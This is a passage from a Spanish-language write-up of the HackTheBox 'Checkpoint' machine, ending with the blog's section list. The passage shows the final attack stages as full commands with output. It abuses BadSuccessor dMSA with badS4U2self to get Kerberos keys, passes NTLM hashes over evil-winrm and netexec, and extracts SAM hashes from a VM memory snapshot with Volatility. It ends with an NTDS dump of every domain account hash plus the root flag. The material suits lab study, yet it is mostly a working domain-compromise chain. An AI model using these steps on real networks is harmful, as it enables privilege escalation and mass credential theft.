[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=dmsa_acc,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully
PS C:\users\ryan.brooks\documents>

La salida confirma la creacion de dmsa_acc$ dentro de OU=DMSAHolder y la modificacion de los atributos de svc_deploy para establecer la relacion de sucesion. Reutilizamos el ticket Kerberos de Ryan obtenido anteriormente con Rubeus. La salida de tgtdeleg /nowrap proporciona el ticket codificado en Base64, que se guarda y decodifica en el archivo ticket.kirbi. Despues, ejecutamos badS4U2self con este archivo como credencial de entrada para obtener las claves de la dMSA.

❯ faketime "$(ntpdate -q checkpoint.htb | cut -d ' ' -f 1,2)" badS4U2self --dmsa 'kerberos+kirbi://ryan.brooks\checkpoint.htb:ticket.kirbi@10.129.114.122' 'krbtgt/CHECKPOINT.HTB' 'dmsa_acc$@checkpoint.htb'

Realm        : CHECKPOINT.HTB
Sname        : krbtgt/CHECKPOINT.HTB
UserName     : dmsa_acc$
UserRealm    : checkpoint.htb
StartTime    : 2026-06-17 12:00:58+00:00
EndTime      : 2026-06-17 20:41:21+00:00
RenewTill    : 2026-06-24 10:41:21+00:00
Flags        : forwardable, renewable, pre-authent, enc-pa-rep, forwarded
Keytype      : 18
Key          : siMpoPJrnQoXi21VY1bX2lfMd6zgqJWvXsPD2mu/MAA=
EncodedKirbi : 

    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
    Qg==

dMSA current keys found in TGS:
AES256: 6e2384a92d4c3a5fe2ac240b0e4137e4220a0b1f2c790f710c744776673514f3
AES128: 098d7f1b419abf7ac6d24c84e55d89ff
RC4: 711cecd920f95e42058cad91f1d663d9

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: e16081eb077aca74bdbf8af12af43ac9
[+] Done!
❯

El resultado muestra las claves actuales de dmsa_acc$ y las claves anteriores asociadas con la cuenta que esta sustituyendo. Utilizamos el valor RC4 mostrado bajo dMSA previous keys para acceder posteriormente como svc_deploy.

Shell

Este hash permite el acceso por WinRM.

❯ evil-winrm -i checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami
checkpoint\svc_deploy
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Privesc

Localmente logramos acceder al directorio del recurso compartido de samba: VMBackups. En este encontramos archivos de una maquina virtual.

*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics> dir


    Directory: C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          5/9/2026   7:45 PM      106496000 Windows Server 2019-000001.vmdk
-a----          5/9/2026   7:40 PM     2147483648 Windows Server 2019-Snapshot1.vmem
-a----          5/9/2026   7:40 PM      138164859 Windows Server 2019-Snapshot1.vmsn
-a----          5/9/2026   7:39 PM         270840 Windows Server 2019.nvram
-a----          5/9/2026   7:45 PM           7642 Windows Server 2019.scoreboard
-a----          5/9/2026   7:39 PM    10199695360 Windows Server 2019.vmdk
-a----          5/9/2026   7:39 PM            502 Windows Server 2019.vmsd
-a----          5/9/2026   7:45 PM           2749 Windows Server 2019.vmx
-a----          5/9/2026   7:22 PM            274 Windows Server 2019.vmxf


*Evil-WinRM* PS C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics>

Extract Hashes - Volatility

Utilizamos Volatility para extraer los hashes en el archivo .vmem con el plugin windows.registry.hashdump.Hashdump. Sin embargo, este indica un error e intenta descargar un archivo PDB identificado con el ‘hash’ EF9A48AFA50FF07C616585BB019195361. Esto ocurre ya que unicamente estamos ejecutando volatility.exe sin la tabla de simbolos.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ./vol.exe -f "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.registry.hashdump.Hashdump
Volatility 3 Framework 2.28.0
vol.exe : 
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Progress:    0.00		Updating caches for 105 files...Progress:    0.95		
# [... cut ...]
Scanning layer_name using PdbSignatureScannerProgress:   38.87		Scanning layer_name using PdbSignatureScannerProgress:   38.96		Scanning layer_name using PdbSignatureScannerProgress:   39.06	Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:  100.00		Downloading http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pd_WARNING  volatility3.framework.symbols.windows.pdbutil: Symbol file could not be downloaded from remote server                                                                                                    Progress:  100.00		PDB scanning finished                                                                                             Unable to validate the plugin requirements: ['plugins.Hashdump.kernel.symbol_table_name']
Unsatisfied requirement plugins.Hashdump.kernel.symbol_table_name:

A symbol table requirement was not fulfilled.  Please verify that:
	The associated translation layer requirement was fulfilled
	You have the correct symbol file for the requirement
	The symbol file is under the correct directory or zip file
	The symbol file is named appropriately or contains the correct banner

*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Descargamos el archivo pdb. Con pdbconv.py obtuvimos el identificador que nos interesa: EF9A48AFA50FF07C616585BB019195361. Esto con el objetivo de no subir la tabla simbolos de windows.

# download the missing PDB file
curl -sSL -o ntkrnlmp.pdb "http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB019195361/ntkrnlmp.pdb"

# clone volatility repo
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3

# install volatility with uv
uv tool install .

#  or run the script
❯ uv run python3 volatility3/framework/symbols/windows/pdbconv.py -f ../ntkrnlmp.pdb -g EF9A48AFA50FF07C616585BB019195361
❯ ll
drwxrwxr-x kali kali 4.0 KB Wed Jun 17 02:42:36 2026  build
# [... cut ...]
.rw-rw-r-- kali kali 515 KB Wed Jun 17 02:44:28 2026  EF9A48AFA50FF07C616585BB01919536-1.json.xz
# [... cut ...]
.rw-rw-r-- kali kali 2.9 KB Wed Jun 17 02:41:22 2026  volshell.spec
❯

Subimos y movimos el archivo .json.xz a symbols/windows/ntkrnlmp.pdb/ en la raiz donde volatility esta alojado.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> upload volatility/volatility3/EF9A48AFA50FF07C616585BB01919536-1.json.xz
                                        
Info: Uploading /home/kali/htb/checkpoint/volatility/volatility3/EF9A48AFA50FF07C616585BB01919536-1.json.xz to C:\Users\svc_deploy\Documents\EF9A48AFA50FF07C616585BB01919536-1.json.xz
                                        
Data: 703368 bytes of 703368 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ls


    Directory: C:\Users\svc_deploy\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         6/17/2026   5:48 AM                symbols
-a----         6/17/2026   6:46 AM         527528 EF9A48AFA50FF07C616585BB01919536-1.json.xz
-a----         6/17/2026   5:47 AM       22216348 vol.exe


*Evil-WinRM* PS C:\Users\svc_deploy\Documents> mv EF9A48AFA50FF07C616585BB01919536-1.json.xz symbols/windows/ntkrnlmp.pdb/
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Ejecutamos nuevamente y este lista los hashes de varios usuarios, entre estos el de Administrator.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> ./vol.exe -f "C:\Shares\VMBackups\NightlyBackup_2024-11-01\memory forensics\Windows Server 2019-Snapshot1.vmem" windows.registry.hashdump.Hashdump
Volatility 3 Framework 2.28.0
vol.exe : 
    + CategoryInfo          : NotSpecified: (:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
Progress:    0.00		Updating caches for 106 files...
# [...cut ...]
PdbSignatureScannerProgress:   39.06		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScannerProgress:    0.00		Scanning layer_name using PdbSignatureScanner
User	rid	lmhash	nthash

Administrator	500	aad3b435b51404eeaad3b435b51404ee	f29e9c014295b9b32139b09a2790be3b
Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	aad3b435b51404eeaad3b435b51404ee	28f8d934dee90b2ec824351cb0844479
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

El hash permite autenticarse por SMB.

❯ netexec smb checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
❯

Shell

Con evil-winrm pasamos el hash logrando obtener una shell.

❯ evil-winrm -i checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
checkpoint\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Realizamos la lectura de la flag root.txt en el directorio de max.palmer.

*Evil-WinRM* PS C:\Users> dir max.palmer/desktop


    Directory: C:\Users\max.palmer\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         6/17/2026   3:09 AM             34 root.txt


*Evil-WinRM* PS C:\Users> cat max.palmer/desktop/root.txt
63aa47fd33fb5bdfad9f6842f36cf826
*Evil-WinRM* PS C:\Users>

Loot

Dump Hashes

Realizamos un dump de las hashes con netexec.

❯ netexec smb checkpoint.htb -u administrator -H f29e9c014295b9b32139b09a2790be3b --ntds
SMB         10.129.114.122  445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.114.122  445    DC01             [+] checkpoint.htb\administrator:f29e9c014295b9b32139b09a2790be3b (Pwn3d!)
SMB         10.129.114.122  445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.114.122  445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::
SMB         10.129.114.122  445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.114.122  445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:015e3bf70a412ef82b604fae3b1c30e8:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\alex.turner:1101:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\mark.davies:1102:aad3b435b51404eeaad3b435b51404ee:0b28e49d9deb96f99d74578e214faec2:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\ryan.brooks:1103:aad3b435b51404eeaad3b435b51404ee:82d044eb259e495fd92a52b2ccece067:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\svc_deploy:1104:aad3b435b51404eeaad3b435b51404ee:e16081eb077aca74bdbf8af12af43ac9:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\james.harper:1111:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\sarah.mitchell:1112:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\emily.carter:1113:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\david.reynolds:1114:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\jessica.coleman:1115:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\lauren.flores:1116:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\michael.torres:1117:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\kevin.patterson:1118:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\brian.jenkins:1119:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             checkpoint.htb\megan.perry:1120:aad3b435b51404eeaad3b435b51404ee:72f0eefcc213ea8f350773b831cf2c9c:::
SMB         10.129.114.122  445    DC01             max.palmer:5101:aad3b435b51404eeaad3b435b51404ee:7d7670c154bf5439523729639c6d2f16:::
SMB         10.129.114.122  445    DC01             DC01$:1000:aad3b435b51404eeaad3b435b51404ee:cacfde2465d05d06d1d148b87643770a:::
SMB         10.129.114.122  445    DC01             bad$:7101:aad3b435b51404eeaad3b435b51404ee:8b2f4d0d63dc325b19349669e41ba5d5:::
SMB         10.129.114.122  445    DC01             kreep_dmsa$:7102:aad3b435b51404eeaad3b435b51404ee:089019e68eeba55152dc5afedb731308:::
SMB         10.129.114.122  445    DC01             dmsa_acc$:7103:aad3b435b51404eeaad3b435b51404ee:711cecd920f95e42058cad91f1d663d9:::
SMB         10.129.114.122  445    DC01             [+] Dumped 22 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.129.114.122_2026-06-17_025542.ntds of which 18 were added to the database
SMB         10.129.114.122  445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         10.129.114.122  445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.129.114.122_2026-06-17_025542.ntds | cut -d ':' -f1
❯

]]>

Netexec-Ntds on sckull

HackTheBox - Checkpoint

Informacion de la Maquina

Recon

nmap

Service Access

SMB

LDAP - bloodyad

Bloodhound

Restore Object

bloodyad Collector

Users

Admins

Alex Turner

Ryan Brooks

svc_deploy

DevTeam

User - Mark Davies

Malicious VSCode Extension

User - Ryan Brooks

VSCode - script

Get Ticket

Permissions

User - svc_deploy

BadSuccessor

Shell

Privesc

Extract Hashes - Volatility

Shell

Loot

Dump Hashes